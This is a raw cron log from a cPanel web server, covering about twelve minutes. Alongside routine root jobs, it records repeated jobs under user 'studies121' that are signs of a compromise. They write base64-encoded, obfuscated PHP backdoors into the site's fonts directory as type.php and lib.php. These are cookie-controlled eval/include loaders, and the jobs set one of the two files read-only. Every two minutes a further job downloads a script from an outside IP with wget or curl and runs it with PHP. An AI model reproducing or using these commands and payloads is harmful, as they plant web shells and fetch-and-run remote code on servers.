Sep  1 07:37:01 ip-184-168-122-23 CROND[13325]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:37:01 ip-184-168-122-23 CROND[13327]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 07:37:01 ip-184-168-122-23 CROND[13329]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:37:01 ip-184-168-122-23 CROND[13330]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 07:38:01 ip-184-168-122-23 CROND[13419]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 07:38:01 ip-184-168-122-23 CROND[13422]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 07:38:01 ip-184-168-122-23 CROND[13423]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:38:01 ip-184-168-122-23 CROND[13421]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 07:38:01 ip-184-168-122-23 CROND[13424]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:39:01 ip-184-168-122-23 CROND[13540]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 07:39:01 ip-184-168-122-23 CROND[13542]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 07:39:01 ip-184-168-122-23 CROND[13544]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:39:01 ip-184-168-122-23 CROND[13543]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:39:01 ip-184-168-122-23 CROND[13545]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 07:40:01 ip-184-168-122-23 CROND[13739]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 07:40:01 ip-184-168-122-23 CROND[13742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:40:01 ip-184-168-122-23 CROND[13743]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 07:40:01 ip-184-168-122-23 CROND[13744]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:40:01 ip-184-168-122-23 CROND[13746]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 07:40:01 ip-184-168-122-23 CROND[13748]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 07:40:01 ip-184-168-122-23 CROND[13747]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 07:40:02 ip-184-168-122-23 CROND[13753]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 07:41:01 ip-184-168-122-23 CROND[13852]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:41:01 ip-184-168-122-23 CROND[13855]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:41:01 ip-184-168-122-23 CROND[13856]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 07:41:01 ip-184-168-122-23 CROND[13854]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 07:42:02 ip-184-168-122-23 CROND[13959]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:42:02 ip-184-168-122-23 CROND[13960]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 07:42:02 ip-184-168-122-23 CROND[13963]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 07:42:02 ip-184-168-122-23 CROND[13964]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 07:42:02 ip-184-168-122-23 CROND[13965]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:43:02 ip-184-168-122-23 CROND[14077]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 07:43:02 ip-184-168-122-23 CROND[14080]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:43:02 ip-184-168-122-23 CROND[14081]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 07:43:02 ip-184-168-122-23 CROND[14079]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:44:01 ip-184-168-122-23 CROND[14189]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 07:44:01 ip-184-168-122-23 CROND[14191]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:44:01 ip-184-168-122-23 CROND[14194]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:44:01 ip-184-168-122-23 CROND[14192]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 07:44:01 ip-184-168-122-23 CROND[14193]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 07:45:01 ip-184-168-122-23 CROND[14291]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 07:45:01 ip-184-168-122-23 CROND[14292]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:45:01 ip-184-168-122-23 CROND[14295]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 07:45:01 ip-184-168-122-23 CROND[14296]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 07:45:01 ip-184-168-122-23 CROND[14297]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 07:45:01 ip-184-168-122-23 CROND[14301]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:46:01 ip-184-168-122-23 CROND[14501]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 07:46:01 ip-184-168-122-23 CROND[14503]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 07:46:01 ip-184-168-122-23 CROND[14504]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:46:01 ip-184-168-122-23 CROND[14507]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 07:46:01 ip-184-168-122-23 CROND[14506]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:46:01 ip-184-168-122-23 CROND[14508]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  1 07:46:01 ip-184-168-122-23 CROND[14505]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 07:47:01 ip-184-168-122-23 CROND[14642]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 07:47:01 ip-184-168-122-23 CROND[14644]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:47:01 ip-184-168-122-23 CROND[14643]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:47:01 ip-184-168-122-23 CROND[14645]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 07:48:01 ip-184-168-122-23 CROND[14728]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 07:48:01 ip-184-168-122-23 CROND[14729]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 07:48:01 ip-184-168-122-23 CROND[14731]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:48:01 ip-184-168-122-23 CROND[14730]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:48:01 ip-184-168-122-23 CROND[14733]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 07:49:01 ip-184-168-122-23 CROND[14816]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  1 07:49:01 ip-184-168-122-23 CROND[14817]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 07:49:01 ip-184-168-122-23 CROND[14819]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
